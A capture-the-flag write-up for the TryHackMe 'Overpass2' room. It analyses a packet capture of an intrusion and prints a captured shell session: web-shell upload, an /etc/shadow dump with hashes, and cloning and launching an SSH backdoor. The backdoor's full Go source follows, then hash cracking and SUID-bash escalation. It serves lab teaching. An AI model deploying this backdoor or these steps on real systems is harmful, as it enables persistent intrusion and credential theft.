THM Overpass2

Overpass2

Difficulty: Medium→High
Score: 6/10


Target

  1. Flow analysis
  2. root privilege
  3. 2 flags

Process

Wireshark File Analysis


We can see the interesting information

/development/
/development/upload.php -> upload the web-shell

Tcp stream Note

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@overpass-production:/var/www/html/development/uploads$ ls -lAh
ls -lAh
total 8.0K
-rw-r--r-- 1 www-data www-data 51 Jul 21 17:48 .overpass
-rw-r--r-- 1 www-data www-data 99 Jul 21 20:34 payload.php
www-data@overpass-production:/var/www/html/development/uploads$ cat .overpass
cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN.www-data@overpass-production:/var/www/html/development/uploads$ su james
su james
Password: whenevernoteartinstant
james@overpass-production:/var/www/html/development/uploads$ cd ~
james@overpass-production:~$ sudo -l
sudo -l
[sudo] password for james: whenevernoteartinstant
Matching Defaults entries for james on overpass-production:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on overpass-production:
    (ALL : ALL) ALL
james@overpass-production:~$ sudo cat /etc/shadow
sudo cat /etc/shadow
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::
james@overpass-production:~$ git clone https://github.com/NinjaJc01/ssh-backdoor
<git clone https://github.com/NinjaJc01/ssh-backdoor
Cloning into 'ssh-backdoor'...
Unpacking objects: 100% (18/18), done.
james@overpass-production:~$ cd ssh-backdoor
cd ssh-backdoor
james@overpass-production:~/ssh-backdoor$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/james/.ssh/id_rsa): id_rsa
id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58 james@overpass-production
The key's randomart image is:
+---[RSA 2048]----+
|        .. .     |
|       .  +      |
|      o   .=.    |
|     . o  o+.    |
|      + S +.     |
|     =.o %.      |
|    ..*.% =.     |
|    .+.X+*.+     |
|   .oo=++=Eo.    |
+----[SHA256]-----+
james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
<9d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222

We can get some information from TCP stream.

  1. James original password → whenevernoteartinstant
  2. shadow file → crack it by hashcat or john

Backdoor code analysis

package main
import (
        "crypto/sha512"
        "fmt"
        "io"
        "io/ioutil"
        "log"
        "net"
        "os/exec"
        "github.com/creack/pty"
        "github.com/gliderlabs/ssh"
        "github.com/integrii/flaggy"
        gossh "golang.org/x/crypto/ssh"
        "golang.org/x/crypto/ssh/terminal"
)
var hash string = "bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3"
// The hash
func main() {
        var (
                lport       uint   = 2222
                lhost       net.IP = net.ParseIP("0.0.0.0")
                keyPath     string = "id_rsa"
                fingerprint string = "OpenSSH_8.2p1 Debian-4"
        )
        flaggy.UInt(&lport, "p", "port", "Local port to listen for SSH on")
        flaggy.IP(&lhost, "i", "interface", "IP address for the interface to listen on")
        flaggy.String(&keyPath, "k", "key", "Path to private key for SSH server")
        flaggy.String(&fingerprint, "f", "fingerprint", "SSH Fingerprint, excluding the SSH-2.0- prefix")
        flaggy.String(&hash, "a", "hash", "Hash for backdoor")
        flaggy.Parse()
        log.SetPrefix("SSH - ")
        privKeyBytes, err := ioutil.ReadFile(keyPath)
        if err != nil {
                log.Panicln("Error reading privkey:\t", err.Error())
        }
        privateKey, err := gossh.ParsePrivateKey(privKeyBytes)
        if err != nil {
                log.Panicln("Error parsing privkey:\t", err.Error())
        }
        server := &ssh.Server{
                Addr:            fmt.Sprintf("%s:%v", lhost.String(), lport),
                Handler:         sshterminal,
                Version:         fingerprint,
                PasswordHandler: passwordHandler,
        }
        server.AddHostKey(privateKey)
        log.Println("Started SSH backdoor on", server.Addr)
        log.Fatal(server.ListenAndServe())
}
func verifyPass(hash, salt, password string) bool {
        resultHash := hashPassword(password, salt)
        return resultHash == hash
}
func hashPassword(password string, salt string) string {
        hash := sha512.Sum512([]byte(password + salt))
        return fmt.Sprintf("%x", hash)
}
func sshHandler(s ssh.Session) {
        command := s.RawCommand()
        if command != "" {
                s.Write(runCommand(command))
                return
        }
        term := terminal.NewTerminal(s, "$ ")
        for {
                command, _ = term.ReadLine()
                if command == "exit" {
                        return
                }
                term.Write(runCommand(command))
        }
}
func sshterminal(s ssh.Session) {
        cmd := exec.Command("/bin/bash", "-i")
        ptyReq, _, isPty := s.Pty()
        if isPty {
                cmd.Env = append(cmd.Env, fmt.Sprintf("TERM=%s", ptyReq.Term))
                f, err := pty.Start(cmd)
                if err != nil {
                        panic(err)
                }
                go func() {
                        io.Copy(f, s) // stdin
                }()
                io.Copy(s, f) // stdout
                cmd.Wait()
        } else {
                io.WriteString(s, "No PTY requested.\n")
                s.Exit(1)
        }
}
func runCommand(cmd string) []byte {
        result := exec.Command("/bin/bash", "-c", cmd)
        response, _ := result.CombinedOutput()
        return response
}
func passwordHandler(_ ssh.Context, password string) bool {
        return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
  1. Original hash: bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3
  2. encode type SHA512
func hashPassword(password string, salt string) string {
        hash := sha512.Sum512([]byte(password + salt))
        return fmt.Sprintf("%x", hash)
}
  1. Salt →1c362db832f3f864c8c2fe05f2002a05

Crack the password

Hashcat methods wiki


Login in with backdoor port


Privilege Escalation

Search SUID file

we found the suid bash!

Summary